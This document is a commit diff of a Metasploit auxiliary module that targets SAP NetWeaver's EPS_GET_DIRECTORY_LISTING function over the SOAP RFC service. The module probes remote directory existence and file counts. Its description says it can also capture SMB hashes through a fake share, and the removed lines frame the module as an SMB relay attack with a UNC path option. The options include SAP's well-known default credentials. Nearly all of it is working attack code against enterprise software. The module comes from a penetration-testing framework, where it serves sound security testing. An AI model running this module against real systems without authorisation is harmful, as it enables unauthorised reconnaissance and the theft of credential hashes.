@@ -31,21 +31,31 @@ class Metasploit4 < Msf::Auxiliary
31
31
32
32
def initialize
33
33
super (
34
- 'Name' => 'EPS_GET_DIRECTORY_LISTING (list directory + SMB Relay) ' ,
34
+ 'Name' => 'SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure ' ,
35
35
'Description' => %q{
36
- A vulnerability in the SAP EPS RFC function group allows an attacker to execute an SMB relay attack.
37
- } ,
38
- 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com' ] ] ,
39
- 'Author' => [ 'nmonkee' ] ,
36
+ This module abuses the SAP NetWeaver EPS_GET_DIRECTORY_LISTING function, on the
37
+ SAP SOAP RFC Service, to check for remote directory existence and get the number
38
+ of entries on it. The module can also be used to capture SMB hashes by using a fake
39
+ SMB share as DIR.
40
+ } ,
41
+ 'References' =>
42
+ [
43
+ [ 'URL' , 'http://labs.mwrinfosecurity.com' ]
44
+ ] ,
45
+ 'Author' =>
46
+ [
47
+ 'nmonkee'
48
+ ] ,
40
49
'License' => MSF_LICENSE
41
- )
50
+ )
42
51
43
52
register_options ( [
44
- OptString . new ( 'CLIENT' , [ true , 'SAP client' , nil ] ) ,
45
- OptString . new ( 'USER' , [ true , 'Username' , nil ] ) ,
46
- OptString . new ( 'PASS' , [ true , 'Password' , nil ] ) ,
47
- OptString . new ( 'PATH' , [ true , 'File path (e.g. \\\\xx.xx.xx.xx\\share)' , nil ] )
48
- ] , self . class )
53
+ Opt ::RPORT ( 8000 ) ,
54
+ OptString . new ( 'CLIENT' , [ true , 'SAP Client' , '001' ] ) ,
55
+ OptString . new ( 'USERNAME' , [ true , 'Username' , 'SAP*' ] ) ,
56
+ OptString . new ( 'PASSWORD' , [ true , 'Password' , '06071992' ] ) ,
57
+ OptString . new ( 'DIR' , [ true , 'Directory path (e.g. /etc)' , '/etc' ] )
58
+ ] , self . class )
49
59
end
50
60
51
61
def run_host ( ip )
@@ -56,32 +66,38 @@ def run_host(ip)
56
66
data << '<SOAP-ENV:Header/>'
57
67
data << '<SOAP-ENV:Body>'
58
68
data << '<EPS_GET_DIRECTORY_LISTING xmlns="urn:sap-com:document:sap:rfc:functions">'
59
- data << '<DIR_NAME>' + datastore [ 'PATH ' ] + '</DIR_NAME>'
69
+ data << '<DIR_NAME>' + datastore [ 'DIR ' ] + '</DIR_NAME>'
60
70
data << '</EPS_GET_DIRECTORY_LISTING>'
61
71
data << '</SOAP-ENV:Body>'
62
72
data << '</SOAP-ENV:Envelope>'
63
73
64
- user_pass = Rex ::Text . encode_base64 ( datastore [ 'USER' ] + ":" + datastore [ 'PASS' ] )
65
74
begin
66
- print_status ( "[SAP] #{ ip } :#{ rport } - sending request for #{ datastore [ 'PATH ' ] } ")
67
- res = send_request_raw ( {
68
- 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN ',
75
+ vprint_status ( " #{ rhost } :#{ rport } - Sending request to check #{ datastore [ 'DIR ' ] } ")
76
+ res = send_request_cgi ( {
77
+ 'uri' => '/sap/bc/soap/rfc' ,
69
78
'method' => 'POST' ,
70
79
'data' => data ,
71
- 'headers' => {
72
- 'Content-Length' => data . size . to_s ,
80
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
81
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
82
+ 'ctype' => 'text/xml; charset=UTF-8' ,
83
+ 'headers' => {
73
84
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
74
- 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
75
- 'Authorization' => 'Basic ' + user_pass ,
76
- 'Content-Type' => 'text/xml; charset=UTF-8' , }
77
- } , 45 )
78
- if res
79
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error code: " + res . code . to_s )
80
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error title: " + res . message . to_s )
81
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error message: " + res . body . to_s )
85
+ } ,
86
+ 'vars_get' => {
87
+ 'sap-client' => datastore [ 'CLIENT' ] ,
88
+ 'sap-language' => 'EN'
89
+ }
90
+ } )
91
+ if res and res . code == 200 and res . body =~ /EPS_GET_DIRECTORY_LISTING\. Response/ and res . body =~ /<FILE_COUNTER>(\d *)<\/ FILE_COUNTER>/
92
+ file_count = $1
93
+ print_good ( "#{ rport } :#{ rhost } - #{ file_count } files under #{ datastore [ "DIR" ] } " )
94
+ else
95
+ vprint_error ( "#{ rhost } :#{ rport } - Error code: " + res . code . to_s ) if res
96
+ vprint_error ( "#{ rhost } :#{ rport } - Error message: " + res . message . to_s ) if res
97
+ vprint_error ( "#{ rhost } :#{ rport } - Error body: " + res . body . to_s ) if res and res . body
82
98
end
83
99
rescue ::Rex ::ConnectionError
84
- print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
100
+ vprint_error ( "#{ rhost } :#{ rport } - Unable to connect" )
85
101
return
86
102
end
87
103
end
0 commit comments